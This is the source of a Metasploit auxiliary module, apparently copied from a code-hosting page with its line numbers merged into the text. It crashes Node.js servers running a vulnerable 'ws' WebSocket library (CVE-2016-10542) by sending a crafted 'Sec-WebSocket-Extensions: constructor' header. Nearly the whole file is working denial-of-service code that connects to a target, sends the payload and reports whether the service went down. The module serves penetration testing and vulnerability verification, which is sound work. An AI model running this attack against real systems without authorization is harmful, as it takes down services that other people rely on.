Path: blob/master/modules/auxiliary/dos/http/ws_dos.rb
31189 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'ws - Denial of Service',12'Description' => %q{13This module exploits a Denial of Service vulnerability in npm module "ws".14By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.15},16'References' => [17['CVE', '2016-10542'],18['URL', 'https://nodesecurity.io/advisories/550'],19['CWE', '400'],20],21'Author' => [22'Ryan Knell, Sonatype Security Research',23'Nick Starke, Sonatype Security Research',24],25'License' => MSF_LICENSE,26'Notes' => {27'Stability' => [CRASH_SERVICE_DOWN],28'SideEffects' => [],29'Reliability' => []30}31)3233register_options([34Opt::RPORT(3000),35OptString.new('TARGETURI', [true, 'The base path', '/']),36])37end3839def run40path = datastore['TARGETURI']4142# Create HTTP request43req = [44"GET #{path} HTTP/1.1",45'Connection: Upgrade',46"Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(5..14)}",47'Sec-WebSocket-Version: 8',48'Sec-WebSocket-Extensions: constructor', # Adding "constructor" as the value for this header causes the DoS49'Upgrade: websocket',50"\r\n"51].join("\r\n")5253begin54connect55print_status("Sending DoS packet to #{peer}")56sock.put(req)5758data = sock.get_once(-1) # Attempt to retrieve data from the socket5960if data =~ /101/ # This is the expected HTTP status code. IF it's present, we have a valid upgrade response.61print_error('WebSocket Upgrade request Successful, service not vulnerable.')62else63fail_with(Failure::Unknown, 'An unknown error occurred')64end6566disconnect67print_error('DoS packet unsuccessful')68rescue ::Rex::ConnectionRefused69print_error("Unable to connect to #{peer}")70rescue ::Errno::ECONNRESET, ::EOFError71print_good("DoS packet successful. #{peer} not responding.")72end73end74end757677